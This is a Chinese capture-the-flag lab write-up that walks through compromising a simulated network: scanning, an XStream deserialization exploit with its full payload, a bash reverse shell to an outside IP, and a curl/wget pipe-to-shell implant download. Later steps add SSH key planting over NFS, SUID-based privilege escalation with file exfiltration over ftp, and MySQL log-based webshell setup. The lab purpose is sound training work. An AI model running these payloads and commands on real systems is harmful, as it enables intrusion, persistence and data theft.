参考

还有n位师傅,就不详细记录了

https://mp.weixin.qq.com/s/jxGGwTu1TBJiH5LOVRO6pQ

https://cloud.tencent.com/developer/article/1839233

https://bowuchuling.github.io/posts/chunqiu_Delivery.html

信息收集

开局一个ip

fscan开扫

39.99.248.209

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
D:\red\内网\免杀工具包\免杀工具包\fscan火绒6.0免杀版\fscan2.0>fscan.exe -h 39.99.248.209

___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 2.0.0
[*] 扫描类型: all, 目标端口: 21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017,80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880
[*] 开始信息扫描...
[*] 最终有效主机数量: 1
[*] 共解析 218 个有效端口
[+] 端口开放 39.99.248.209:21
[+] 端口开放 39.99.248.209:80
[+] 端口开放 39.99.248.209:22
[+] 端口开放 39.99.248.209:8080
[+] 存活端口数量: 4
[*] 开始漏洞扫描...
[*] 网站标题 http://39.99.248.209 状态码:200 长度:10918 标题:Apache2 Ubuntu Default Page: It works
[*] 网站标题 http://39.99.248.209:8080 状态码:200 长度:3655 标题:公司发货单
[+] ftp 39.99.248.209:21:anonymous
[->]1.txt
[->]pom.xml
[!] 扫描错误 39.99.248.209:22 - 扫描总时间超时: context deadline exceeded
[+] 扫描已完成: 4/4
[*] 扫描结束,耗时: 21.698169s

查看一下ftp

1.txt是空的

那么我们查看一下xml看看有哪些依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.7.2</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>com.example</groupId>
<artifactId>ezjava</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>ezjava</name>
<description>ezjava</description>
<properties>
<java.version>1.8</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>

<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>

<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.16</version>
</dependency>

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>

</project>

整理一下

1
39.99.248.209  ftp 匿名登录  xstream cc 公司发货单

再看看8080

外围打点

flag01

xstream反序列化打CC依赖

发包发现可以打xstream反序列化打CC依赖

CVE-2021-29505

https://cloud.tencent.com/developer/article/1839233

1
2
3
4
5


bash -i >& /dev/tcp/47.113.229.136/1098 0>&1

YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMTMuMjI5LjEzNi8xMDk4IDA+JjE=

先起服务

1
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMTMuMjI5LjEzNi8xMDk4IDA+JjE=}|{base64,-d}|{bash,-i}"

然后监听1098端口

1
nc -lvvp 1098

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
POST /just_sumbit_it HTTP/1.1
Host: 39.99.248.209:8080
Content-Length: 3117
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: application/xml, text/xml, */*; q=0.01
Content-Type: application/xml;charset=UTF-8
Origin: http://39.99.248.209:8080
Referer: http://39.99.248.209:8080/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive

<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
<message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
<parsedMessage>true</parsedMessage>
<soapVersion>SOAP_11</soapVersion>
<bodyParts/>
<sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
<attachmentsInitialized>false</attachmentsInitialized>
<nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
<aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
<candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
<names>
<string>aa</string>
<string>aa</string>
</names>
<ctx>
<environment/>
<registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
<java.rmi.server.RemoteObject>
<string>UnicastRef</string>
<string>47.113.229.136</string>
<int>1099</int>
<long>0</long>
<int>0</int>
<long>0</long>
<short>0</short>
<boolean>false</boolean>
</java.rmi.server.RemoteObject>
</registry>
<host>47.113.229.136</host>
<port>1099</port>
</ctx>
</candidates>
</aliases>
</nullIter>
</sm>
</message>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

注意端口占用问题

反弹shell成功

上线vshell

1
(curl -fsSL -m180 http://47.113.229.136:8899/slt||wget -T180 -q http://47.113.229.136:8899/slt)|sh

直接就是root权限

那么我们直接读取文件

1
172.22.13.14  39.99.248.209  ftp 匿名登录  xstream cc 公司发货单 已拿下

后渗透

flag02

挂载代理、内网信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
root@ubuntu:/tmp# chmod +x fscan 
root@ubuntu:/tmp# ls
bash fscan hsperfdata_root tomcat.8080.4881516889748131666 tomcat-docbase.8080.4051554996308753889
root@ubuntu:/tmp# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.22.13.14 netmask 255.255.0.0 broadcast 172.22.255.255
inet6 fe80::216:3eff:fe0a:1f78 prefixlen 64 scopeid 0x20<link>
ether 00:16:3e:0a:1f:78 txqueuelen 1000 (Ethernet)
RX packets 166688 bytes 222218064 (222.2 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 44421 bytes 14711358 (14.7 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 1644 bytes 141394 (141.3 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1644 bytes 141394 (141.3 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
root@ubuntu:/tmp# ./fscan -h 172.22.13.14/24
┌──────────────────────────────────────────────┐
│ ___ _ │
│ / _ \ ___ ___ _ __ __ _ ___| | __ │
│ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / │
│ / /_\\_____\__ \ (__| | | (_| | (__| < │
│ \____/ |___/\___|_| \__,_|\___|_|\_\ │
└──────────────────────────────────────────────┘
Fscan Version: 2.0.0

[2025-06-19 22:49:31] [INFO] 暴力破解线程数: 1
[2025-06-19 22:49:31] [INFO] 开始信息扫描
[2025-06-19 22:49:31] [INFO] CIDR范围: 172.22.13.0-172.22.13.255
[2025-06-19 22:49:31] [INFO] 生成IP范围: 172.22.13.0.%!d(string=172.22.13.255) - %!s(MISSING).%!d(MISSING)
[2025-06-19 22:49:31] [INFO] 解析CIDR 172.22.13.14/24 -> IP范围 172.22.13.0-172.22.13.255
[2025-06-19 22:49:31] [INFO] 最终有效主机数量: 256
[2025-06-19 22:49:31] [INFO] 开始主机扫描
[2025-06-19 22:49:31] [SUCCESS] 目标 172.22.13.14 存活 (ICMP)
[2025-06-19 22:49:31] [SUCCESS] 目标 172.22.13.6 存活 (ICMP)
[2025-06-19 22:49:31] [SUCCESS] 目标 172.22.13.28 存活 (ICMP)
[2025-06-19 22:49:31] [SUCCESS] 目标 172.22.13.57 存活 (ICMP)
[2025-06-19 22:49:34] [INFO] 存活主机数量: 4
[2025-06-19 22:49:34] [INFO] 有效端口数量: 233
[2025-06-19 22:49:34] [SUCCESS] 端口开放 172.22.13.14:21
[2025-06-19 22:49:34] [SUCCESS] 端口开放 172.22.13.6:88
[2025-06-19 22:49:34] [SUCCESS] 端口开放 172.22.13.6:139
[2025-06-19 22:49:34] [SUCCESS] 端口开放 172.22.13.28:135
[2025-06-19 22:49:34] [SUCCESS] 端口开放 172.22.13.6:135
[2025-06-19 22:49:34] [SUCCESS] 端口开放 172.22.13.28:445
[2025-06-19 22:49:34] [SUCCESS] 端口开放 172.22.13.6:445
[2025-06-19 22:49:34] [SUCCESS] 端口开放 172.22.13.6:389
[2025-06-19 22:49:34] [SUCCESS] 端口开放 172.22.13.28:139
[2025-06-19 22:49:34] [SUCCESS] 端口开放 172.22.13.28:3306
[2025-06-19 22:49:34] [SUCCESS] 端口开放 172.22.13.14:22
[2025-06-19 22:49:34] [SUCCESS] 端口开放 172.22.13.57:80
[2025-06-19 22:49:34] [SUCCESS] 端口开放 172.22.13.28:80
[2025-06-19 22:49:34] [SUCCESS] 端口开放 172.22.13.57:22
[2025-06-19 22:49:34] [SUCCESS] 端口开放 172.22.13.14:80
[2025-06-19 22:49:34] [SUCCESS] 端口开放 172.22.13.28:8000
[2025-06-19 22:49:34] [SUCCESS] 端口开放 172.22.13.14:8080
[2025-06-19 22:49:34] [SUCCESS] 服务识别 172.22.13.14:21 => [ftp] 版本:3.0.3 产品:vsftpd 系统:Unix Banner:[220 (vsFTPd 3.0.3).]
[2025-06-19 22:49:35] [SUCCESS] 服务识别 172.22.13.14:22 => [ssh] 版本:8.2p1 Ubuntu 4ubuntu0.5 产品:OpenSSH 系统:Linux 信息:Ubuntu Linux; protocol 2.0 Banner:[SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.5.]
[2025-06-19 22:49:35] [SUCCESS] 服务识别 172.22.13.57:22 => [ssh] 版本:7.4 产品:OpenSSH 信息:protocol 2.0 Banner:[SSH-2.0-OpenSSH_7.4.]
[2025-06-19 22:49:39] [SUCCESS] 服务识别 172.22.13.6:88 =>
[2025-06-19 22:49:39] [SUCCESS] 服务识别 172.22.13.6:139 => Banner:[.]
[2025-06-19 22:49:40] [SUCCESS] 服务识别 172.22.13.28:445 =>
[2025-06-19 22:49:40] [SUCCESS] 服务识别 172.22.13.6:445 =>
[2025-06-19 22:49:40] [SUCCESS] 服务识别 172.22.13.6:389 =>
[2025-06-19 22:49:40] [SUCCESS] 服务识别 172.22.13.28:139 => Banner:[.]
[2025-06-19 22:49:40] [SUCCESS] 服务识别 172.22.13.57:80 => [http] 版本:1.20.1 产品:nginx
[2025-06-19 22:49:40] [SUCCESS] 服务识别 172.22.13.28:8000 =>
[2025-06-19 22:49:40] [SUCCESS] 服务识别 172.22.13.28:80 => [http]
[2025-06-19 22:49:41] [SUCCESS] 服务识别 172.22.13.14:8080 => [http]
[2025-06-19 22:49:41] [SUCCESS] 服务识别 172.22.13.14:80 => [http]
[2025-06-19 22:49:48] [SUCCESS] 服务识别 172.22.13.28:3306 => Banner:[J.5.7.26.FHN6DP5.MN X<zXXJ.g mysql_native_password !.#08S01Got packets out of order]
[2025-06-19 22:50:39] [SUCCESS] 服务识别 172.22.13.28:135 =>
[2025-06-19 22:50:39] [SUCCESS] 服务识别 172.22.13.6:135 =>
[2025-06-19 22:50:40] [INFO] 存活端口数量: 17
[2025-06-19 22:50:40] [INFO] 开始漏洞扫描
[2025-06-19 22:50:40] [INFO] 加载的插件: findnet, ftp, ldap, ms17010, mysql, netbios, smb, smb2, smbghost, ssh, webpoc, webtitle
[2025-06-19 22:50:40] [SUCCESS] 网站标题 http://172.22.13.28 状态码:200 长度:2525 标题:欢迎登录OA办公平台
[2025-06-19 22:50:40] [SUCCESS] NetInfo 扫描结果
目标主机: 172.22.13.28
主机名: WIN-HAUWOLAO
发现的网络接口:
IPv4地址:
└─ 172.22.13.28
[2025-06-19 22:50:40] [SUCCESS] 网站标题 http://172.22.13.14 状态码:200 长度:10918 标题:Apache2 Ubuntu Default Page: It works
[2025-06-19 22:50:40] [SUCCESS] 网站标题 http://172.22.13.57 状态码:200 长度:4833 标题:Welcome to CentOS
[2025-06-19 22:50:40] [SUCCESS] NetBios 172.22.13.6 DC:XIAORANG\WIN-DC
[2025-06-19 22:50:40] [SUCCESS] 匿名登录成功!
[2025-06-19 22:50:40] [SUCCESS] NetInfo 扫描结果
目标主机: 172.22.13.6
主机名: WIN-DC
发现的网络接口:
IPv4地址:
└─ 172.22.13.6
[2025-06-19 22:50:40] [SUCCESS] 网站标题 http://172.22.13.14:8080 状态码:200 长度:3655 标题:公司发货单
[2025-06-19 22:50:40] [SUCCESS] NetBios 172.22.13.28 WIN-HAUWOLAO.xiaorang.lab Windows Server 2016 Datacenter 14393
[2025-06-19 22:50:40] [SUCCESS] 网站标题 http://172.22.13.28:8000 状态码:200 长度:170 标题:Nothing Here.

再扫一下这个端口2049

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
root@ubuntu:/tmp# ./fscan -h 172.22.13.14/24 -p 2049
┌──────────────────────────────────────────────┐
│ ___ _ │
│ / _ \ ___ ___ _ __ __ _ ___| | __ │
│ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / │
│ / /_\\_____\__ \ (__| | | (_| | (__| < │
│ \____/ |___/\___|_| \__,_|\___|_|\_\ │
└──────────────────────────────────────────────┘
Fscan Version: 2.0.0

[2025-06-19 22:56:08] [INFO] 暴力破解线程数: 1
[2025-06-19 22:56:08] [INFO] 开始信息扫描
[2025-06-19 22:56:08] [INFO] CIDR范围: 172.22.13.0-172.22.13.255
[2025-06-19 22:56:08] [INFO] 生成IP范围: 172.22.13.0.%!d(string=172.22.13.255) - %!s(MISSING).%!d(MISSING)
[2025-06-19 22:56:08] [INFO] 解析CIDR 172.22.13.14/24 -> IP范围 172.22.13.0-172.22.13.255
[2025-06-19 22:56:08] [INFO] 最终有效主机数量: 256
[2025-06-19 22:56:08] [INFO] 开始主机扫描
[2025-06-19 22:56:08] [SUCCESS] 目标 172.22.13.14 存活 (ICMP)
[2025-06-19 22:56:08] [SUCCESS] 目标 172.22.13.6 存活 (ICMP)
[2025-06-19 22:56:08] [SUCCESS] 目标 172.22.13.28 存活 (ICMP)
[2025-06-19 22:56:08] [SUCCESS] 目标 172.22.13.57 存活 (ICMP)
[2025-06-19 22:56:11] [INFO] 存活主机数量: 4
[2025-06-19 22:56:11] [INFO] 有效端口数量: 1
[2025-06-19 22:56:11] [SUCCESS] 端口开放 172.22.13.57:2049
[2025-06-19 22:56:16] [SUCCESS] 服务识别 172.22.13.57:2049 =>
[2025-06-19 22:56:16] [INFO] 存活端口数量: 1
[2025-06-19 22:56:16] [INFO] 开始漏洞扫描
[2025-06-19 22:56:16] [INFO] 加载的插件:
[2025-06-19 22:56:16] [SUCCESS] 扫描已完成: 0/0

整理一下

1
2
3
4
172.22.13.14  39.99.248.209  ftp 匿名登录  xstream cc 公司发货单 已拿下 入口机
172.22.13.57 CentOS nfs
172.22.13.28 OA系统、mysql弱口令root/123456
172.22.13.6 WIN-DC DC域

查看一下共享文件夹

1
2
3
4
5
6
7
8
9
10
11
12
showmount -e

┌──(root㉿kali)-[~]
└─# proxychains4 showmount -e 172.22.13.57
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.15
[proxychains] Strict chain ... 47.113.229.136:1123 ... 172.22.13.57:111 ... OK
[proxychains] Strict chain ... 47.113.229.136:1123 ... 172.22.13.57:20048 ... OK
Export list for 172.22.13.57:
/home/joyce *

在kali挂载不成功

看了wp直接在入口机装nfs服务

1
apt-get install nfs-common -y

直接安装失败

使用下面这些命令安装

https://gist.github.com/zkryakgul/bb561235b7f36c57d15a015d20c7e336

1
2
3
4
5
6
7
8
9
10
11
12
wget http://archive.ubuntu.com/ubuntu/pool/main/n/nfs-utils/nfs-common_1.3.4-2.5ubuntu3_amd64.deb
wget http://archive.ubuntu.com/ubuntu/pool/main/libn/libnfsidmap/libnfsidmap2_0.25-5.1ubuntu1_amd64.deb
wget http://archive.ubuntu.com/ubuntu/pool/main/libt/libtirpc/libtirpc3_1.2.5-1_amd64.deb
wget http://archive.ubuntu.com/ubuntu/pool/main/r/rpcbind/rpcbind_1.2.5-8_amd64.deb
wget http://archive.ubuntu.com/ubuntu/pool/main/k/keyutils/keyutils_1.6-6ubuntu1_amd64.deb
wget http://archive.ubuntu.com/ubuntu/pool/main/libt/libtirpc/libtirpc-common_1.2.5-1_all.deb
sudo dpkg -i libnfsidmap2_0.25-5.1ubuntu1_amd64.deb && \
sudo dpkg -i libtirpc-common_1.2.5-1_all.deb && \
sudo dpkg -i libtirpc3_1.2.5-1_amd64.deb && \
sudo dpkg -i rpcbind_1.2.5-8_amd64.deb && \
sudo dpkg -i keyutils_1.6-6ubuntu1_amd64.deb && \
sudo dpkg -i nfs-common_1.3.4-2.5ubuntu3_amd64.deb

挂载

1
2
3
4
5
6
7
8
9
10
root@ubuntu:/tmp# mkdir temp
root@ubuntu:/tmp# ls
bash libnfsidmap2_0.25-5.1ubuntu1_amd64.deb result.txt tomcat-docbase.8080.4051554996308753889
fscan libtirpc3_1.2.5-1_amd64.deb rpcbind_1.2.5-8_amd64.deb
hsperfdata_root libtirpc-common_1.2.5-1_all.deb temp
keyutils_1.6-6ubuntu1_amd64.deb nfs-common_1.3.4-2.5ubuntu3_amd64.deb tomcat.8080.4881516889748131666
root@ubuntu:/tmp# mount -t nfs 172.22.13.57:/ ./temp -o nolock
root@ubuntu:/tmp# cd temp/
root@ubuntu:/tmp/temp# ls
home

写ssh公钥远程连接getshell

1
2
3
4
5
6
7
8
9
kali攻击机
ssh-keygen
cat id_rsa.pub

NFS控制机
mkdir .ssh
echo "xxx">>/tmp/temp/.ssh/authorized_keys


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
┌──(root㉿kali)-[/home/kali/red/temp]
└─# ssh-keygen -t rsa -b 4096
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa
Your public key has been saved in /root/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:/pZD+S6QQLqIrEkQildnO7v7DT7hvoNFUX4UwEHLWZE root@kali
The key's randomart image is:
+---[RSA 4096]----+
| +=o=+ |
|. . + .o.=E |
|o. . = . .= . |
|+ . . + . . |
|oo . . =S. . |
|.o. . ..= o |
|o. =o+ o |
|o o.++= . |
| .+==o+. |
+----[SHA256]-----+


┌──(root㉿kali)-[/home/kali/red/temp]
└─# cd /root/.ssh/

┌──(root㉿kali)-[~/.ssh]
└─# ls
id_ed25519 id_ed25519.pub id_rsa id_rsa.pub known_hosts known_hosts.old

┌──(root㉿kali)-[~/.ssh]
└─# cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCY2z7bt2deYTFqmsgK/gDzgv8RZ/dN9HHntrs71HdHfMKSpE2lxXU9vqo5Yzp5LSuksaeAmt9PSm++SWvo7QVhdbu0CsSbkDBZL+y9bKf/Gy1lcfEvcoPourZmj+p2EpSG3BSNgNTK+QwZLCYFiuBpWvmrYbuFEsBYh32Zyf/+S7szlc/60HC9vhWs0ZD5ANtOqeZQcY/+56zQRYgwqlbLeclvi1yjtRDrVmGVvQ9JdGso5YnL0WKYP6RgZxLpubJjvbEZS+z5VnymmMquFdco5DDaXABBiiUlSH0yzAEOdLUrB9eZ5JNqTj4x5btg9i+M6FYD/heoE23yB+mgPdThyYCIqzlyfeGJjIXKltJb3kWl+/p5Z4HfO2AT8+b1Kr2pK4d5AAIAiFv1/wEUVWqpsy+ebwMEV4C0VXDDr0UZbP+U0c1rL9OGlGpba5WBzykx8uJqeYQu+TdUpJgxonFn75bh4gv7TmWkF6gFIf1oFg4zeiIh6NKyIKabkADxs1X97wYcWgg480ZHZ50ZOLOPRL+NbrMsmJ4ZWYDaJ5tfR3dnRwmysAIT2q/Jo52BIWl/8nvw8/HDLPubswdQ3puSFXMiJJv/gcZepXG7J7XFJCtRLWikfNHOKfnyTwSmFo7OIXzRTLGqD4OCIl2tJwOEfl0HPePTn7/Ys8F+YFkx3w== root@kali




1
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCY2z7bt2deYTFqmsgK/gDzgv8RZ/dN9HHntrs71HdHfMKSpE2lxXU9vqo5Yzp5LSuksaeAmt9PSm++SWvo7QVhdbu0CsSbkDBZL+y9bKf/Gy1lcfEvcoPourZmj+p2EpSG3BSNgNTK+QwZLCYFiuBpWvmrYbuFEsBYh32Zyf/+S7szlc/60HC9vhWs0ZD5ANtOqeZQcY/+56zQRYgwqlbLeclvi1yjtRDrVmGVvQ9JdGso5YnL0WKYP6RgZxLpubJjvbEZS+z5VnymmMquFdco5DDaXABBiiUlSH0yzAEOdLUrB9eZ5JNqTj4x5btg9i+M6FYD/heoE23yB+mgPdThyYCIqzlyfeGJjIXKltJb3kWl+/p5Z4HfO2AT8+b1Kr2pK4d5AAIAiFv1/wEUVWqpsy+ebwMEV4C0VXDDr0UZbP+U0c1rL9OGlGpba5WBzykx8uJqeYQu+TdUpJgxonFn75bh4gv7TmWkF6gFIf1oFg4zeiIh6NKyIKabkADxs1X97wYcWgg480ZHZ50ZOLOPRL+NbrMsmJ4ZWYDaJ5tfR3dnRwmysAIT2q/Jo52BIWl/8nvw8/HDLPubswdQ3puSFXMiJJv/gcZepXG7J7XFJCtRLWikfNHOKfnyTwSmFo7OIXzRTLGqD4OCIl2tJwOEfl0HPePTn7/Ys8F+YFkx3w== root@kali">> ./.ssh/authorized_keys
1
2
3
4
5
6
7
8
9
root@ubuntu:/tmp/temp# mkdir .ssh
mkdir: cannot create directory ‘.ssh’: Read-only file system
root@ubuntu:/tmp/temp# cd home/
root@ubuntu:/tmp/temp/home# ls
joyce
root@ubuntu:/tmp/temp/home# cd joyce/
root@ubuntu:/tmp/temp/home/joyce# mkdir .ssh
root@ubuntu:/tmp/temp/home/joyce# echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCY2z7bt2deYTFqmsgK/gDzgv8RZ/dN9HHntrs71HdHfMKSpE2lxXU9vqo5Yzp5LSuksaeAmt9PSm++SWvo7QVhdbu0CsSbkDBZL+y9bKf/Gy1lcfEvcoPourZmj+p2EpSG3BSNgNTK+QwZLCYFiuBpWvmrYbuFEsBYh32Zyf/+S7szlc/60HC9vhWs0ZD5ANtOqeZQcY/+56zQRYgwqlbLeclvi1yjtRDrVmGVvQ9JdGso5YnL0WKYP6RgZxLpubJjvbEZS+z5VnymmMquFdco5DDaXABBiiUlSH0yzAEOdLUrB9eZ5JNqTj4x5btg9i+M6FYD/heoE23yB+mgPdThyYCIqzlyfeGJjIXKltJb3kWl+/p5Z4HfO2AT8+b1Kr2pK4d5AAIAiFv1/wEUVWqpsy+ebwMEV4C0VXDDr0UZbP+U0c1rL9OGlGpba5WBzykx8uJqeYQu+TdUpJgxonFn75bh4gv7TmWkF6gFIf1oFg4zeiIh6NKyIKabkADxs1X97wYcWgg480ZHZ50ZOLOPRL+NbrMsmJ4ZWYDaJ5tfR3dnRwmysAIT2q/Jo52BIWl/8nvw8/HDLPubswdQ3puSFXMiJJv/gcZepXG7J7XFJCtRLWikfNHOKfnyTwSmFo7OIXzRTLGqD4OCIl2tJwOEfl0HPePTn7/Ys8F+YFkx3w== root@kali">> ./.ssh/authorized_keys

kali连接

1
proxychains4 ssh  -i /root/.ssh/id_rsa joyce@172.22.13.57

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[joyce@centos home]$ find / -perm -u=s -type f 2>/dev/null
/usr/libexec/dbus-1/dbus-daemon-launch-helper
/usr/sbin/unix_chkpwd
/usr/sbin/pam_timestamp_check
/usr/sbin/usernetctl
/usr/sbin/mount.nfs
/usr/bin/sudo
/usr/bin/chage
/usr/bin/at
/usr/bin/mount
/usr/bin/crontab
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/pkexec
/usr/bin/newgrp
/usr/bin/su
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/ftp
/usr/bin/umount

ftp提权

1
python3 -m pyftpdlib -p 6666 -u test -P test -w &

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[joyce@centos /]$ ftp 172.22.13.14 6666
Connected to 172.22.13.14 (172.22.13.14).
220 pyftpdlib 1.5.6 ready.
Name (172.22.13.14:joyce): test
331 Username ok, send password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> put /flag02.txt
local: /flag02.txt remote: /flag02.txt
227 Entering passive mode (172,22,13,14,194,59).
125 Data connection already open. Transfer starting.
226 Transfer complete.
466 bytes sent in 1.1e-05 secs (42363.64 Kbytes/sec)
ftp>

nfs提权

入口机完成操作

1
2
3
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > shell.c
gcc shell.c -o shell
chmod +s shell

然后在57上运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[root@centos /]# ls
bin boot dev etc flag02.txt home lib lib64 lost+found media mnt opt pAss.txt proc root run sbin srv sys tmp usr var
[root@centos /]# cat flag02.txt
SSS h d CCC d t l
S h d C d t ii l
SSS hhh aa ddd ooo w w C rrr eee ddd eee nnn ttt aa l ss
S h h a a d d o o w w w C r e e d d e e n n t ii a a l s
SSSS h h aaa ddd ooo w w CCC r ee ddd ee n n tt ii aaa l ss


flag02: flag{f5fb0619-45bb-4ab3-9000-0b7f88778787}

hint: relay race
[root@centos /]# cat pAss.txt
xiaorang.lab/zhangwen\QT62f3gBhK1

又获得了个账密

1
2
3
4
172.22.13.14  39.99.248.209  ftp 匿名登录  xstream cc 公司发货单 已拿下 入口机
172.22.13.57 CentOS nfs 已拿下
172.22.13.28 OA系统、mysql弱口令root/123456
172.22.13.6 WIN-DC DC域

前面还有mysql弱口令

flag03

mysql写webshell

那就打oa

记得挂代理

丝滑小连招bychun0

1
show variables like "secure_file_priv";
1
show variables like '%general%';
1
show variables like '%secure%';
1
set global general_log='On';
1
set global general_log_file='网站绝对路径/马子';
1
show variables like '%general%';
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
-- 1. 确认文件写入权限
show variables like "secure_file_priv";

-- 2. 查找日志配置(定位写入路径)
show variables like '%general%';
